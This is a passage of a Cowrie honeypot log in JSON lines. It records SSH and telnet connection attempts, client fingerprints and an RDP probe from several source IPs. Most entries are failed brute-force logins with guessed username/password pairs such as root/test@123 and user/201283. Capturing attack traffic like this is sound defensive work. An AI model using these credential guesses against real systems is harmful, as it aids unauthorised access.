m","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:32.819222Z","src_ip":"192.109.200.237","session":"9adb902bd1a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"201283","message":"login attempt [user/201283] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:33.081128Z","src_ip":"2.57.121.25","session":"d1f2b17e8370","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"sysupdate","password":"123456","message":"login attempt [sysupdate/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:33.238775Z","src_ip":"192.109.200.237","session":"9adb902bd1a3","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"200990","message":"login attempt [user/200990] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:34.185724Z","src_ip":"2.57.121.25","session":"d1f2b17e8370","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:34.326010Z","src_ip":"192.109.200.237","session":"9adb902bd1a3","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.224.71","src_port":57604,"dst_ip":"10.17.0.5","dst_port":23,"session":"d1bc08afb3c8","protocol":"telnet","message":"New connection: 152.42.224.71:57604 (10.17.0.5:23) [session: d1bc08afb3c8]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:34.844336Z"}
{"eventid":"cowrie.login.failed","username":"user","password":"20091994","message":"login attempt [user/20091994] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:35.289321Z","src_ip":"2.57.121.25","session":"d1f2b17e8370","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35176,"dst_ip":"159.203.135.109","dst_port":22,"session":"d2074fb0ff02","protocol":"ssh","message":"New connection: 192.109.200.237:35176 (159.203.135.109:22) [session: d2074fb0ff02]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:36.222745Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:36.227440Z","src_ip":"192.109.200.237","session":"d2074fb0ff02","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:36.318049Z","src_ip":"192.109.200.237","session":"d2074fb0ff02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"20081996","message":"login attempt [user/20081996] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:36.393562Z","src_ip":"2.57.121.25","session":"d1f2b17e8370","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"stream","password":"stream","message":"login attempt [stream/stream] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:36.565279Z","src_ip":"192.109.200.237","session":"d2074fb0ff02","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user","password":"20061974","message":"login attempt [user/20061974] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:37.497927Z","src_ip":"2.57.121.25","session":"d1f2b17e8370","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:37.649521Z","src_ip":"192.109.200.237","session":"d2074fb0ff02","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"6.1","message":"Connection lost after 6.1 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:38.601833Z","src_ip":"2.57.121.25","session":"d1f2b17e8370","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":35184,"dst_ip":"159.203.135.109","dst_port":22,"session":"f81d1b030041","protocol":"ssh","message":"New connection: 192.109.200.237:35184 (159.203.135.109:22) [session: f81d1b030041]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:39.581846Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:39.586524Z","src_ip":"192.109.200.237","session":"f81d1b030041","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:39.668266Z","src_ip":"192.109.200.237","session":"f81d1b030041","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"home","password":"home","message":"login attempt [home/home] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:39.915922Z","src_ip":"192.109.200.237","session":"f81d1b030041","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:41.124203Z","src_ip":"192.109.200.237","session":"f81d1b030041","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45880,"dst_ip":"159.203.135.109","dst_port":22,"session":"e14ce2fc4844","protocol":"ssh","message":"New connection: 192.109.200.237:45880 (159.203.135.109:22) [session: e14ce2fc4844]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:42.949526Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:42.954456Z","src_ip":"192.109.200.237","session":"e14ce2fc4844","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:43.037090Z","src_ip":"192.109.200.237","session":"e14ce2fc4844","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"test@123","message":"login attempt [root/test@123] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:43.284320Z","src_ip":"192.109.200.237","session":"e14ce2fc4844","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:44.369372Z","src_ip":"192.109.200.237","session":"e14ce2fc4844","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45882,"dst_ip":"159.203.135.109","dst_port":22,"session":"c8daf6c69baa","protocol":"ssh","message":"New connection: 192.109.200.237:45882 (159.203.135.109:22) [session: c8daf6c69baa]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:46.257336Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:46.262274Z","src_ip":"192.109.200.237","session":"c8daf6c69baa","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:46.457880Z","src_ip":"192.109.200.237","session":"c8daf6c69baa","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"user3","password":"user3","message":"login attempt [user3/user3] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:46.731935Z","src_ip":"192.109.200.237","session":"c8daf6c69baa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:47.817095Z","src_ip":"192.109.200.237","session":"c8daf6c69baa","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":27.001408100128174,"message":"Connection lost after 27 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:49.792954Z","src_ip":"152.42.224.71","session":"3391467cea59","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":45884,"dst_ip":"159.203.135.109","dst_port":22,"session":"ea94d7ab00a6","protocol":"ssh","message":"New connection: 192.109.200.237:45884 (159.203.135.109:22) [session: ea94d7ab00a6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:49.849546Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:49.854358Z","src_ip":"192.109.200.237","session":"ea94d7ab00a6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:49.936918Z","src_ip":"192.109.200.237","session":"ea94d7ab00a6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"niaoyun","password":"123456","message":"login attempt [niaoyun/123456] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:50.187119Z","src_ip":"192.109.200.237","session":"ea94d7ab00a6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.4","message":"Connection lost after 1.4 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:51.273458Z","src_ip":"192.109.200.237","session":"ea94d7ab00a6","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"192.109.200.237","src_port":59810,"dst_ip":"159.203.135.109","dst_port":22,"session":"b13eb8d507ed","protocol":"ssh","message":"New connection: 192.109.200.237:59810 (159.203.135.109:22) [session: b13eb8d507ed]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:53.193394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:53.202898Z","src_ip":"192.109.200.237","session":"b13eb8d507ed","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"0a07365cc01fa9fc82608ba4019af499","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 0a07365cc01fa9fc82608ba4019af499","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:53.285069Z","src_ip":"192.109.200.237","session":"b13eb8d507ed","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"abcd@1234","message":"login attempt [root/abcd@1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:53.533791Z","src_ip":"192.109.200.237","session":"b13eb8d507ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"152.42.212.128","src_port":49685,"dst_ip":"159.203.135.109","dst_port":22,"session":"1f4f32c2aa40","protocol":"ssh","message":"New connection: 152.42.212.128:49685 (159.203.135.109:22) [session: 1f4f32c2aa40]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:53.901139Z"}
{"eventid":"cowrie.client.version","version":"\u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","message":"Remote SSH version: \u0003\u0000\u0000+&\\xe0\u0000\u0000\u0000\u0000\u0000Cookie: mstshash=hello","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:53.906709Z","src_ip":"152.42.212.128","session":"1f4f32c2aa40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"0.0","message":"Connection lost after 0.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:53.911178Z","src_ip":"152.42.212.128","session":"1f4f32c2aa40","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:54.727749Z","src_ip":"192.109.200.237","session":"b13eb8d507ed","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":51898,"dst_ip":"159.203.135.109","dst_port":22,"session":"d6f4a264348c","protocol":"ssh","message":"New connection: 103.77.242.62:51898 (159.203.135.109:22) [session: d6f4a264348c]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:54.795459Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:54.801443Z","src_ip":"103.77.242.62","session":"d6f4a264348c","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:55.048796Z","src_ip":"103.77.242.62","session":"d6f4a264348c","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":52.57851243019104,"message":"Connection lost after 52 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-18T11:13:55.253294Z","src_ip":"152.42.224.71","session":"8d726e314026","protocol":"telnet"}
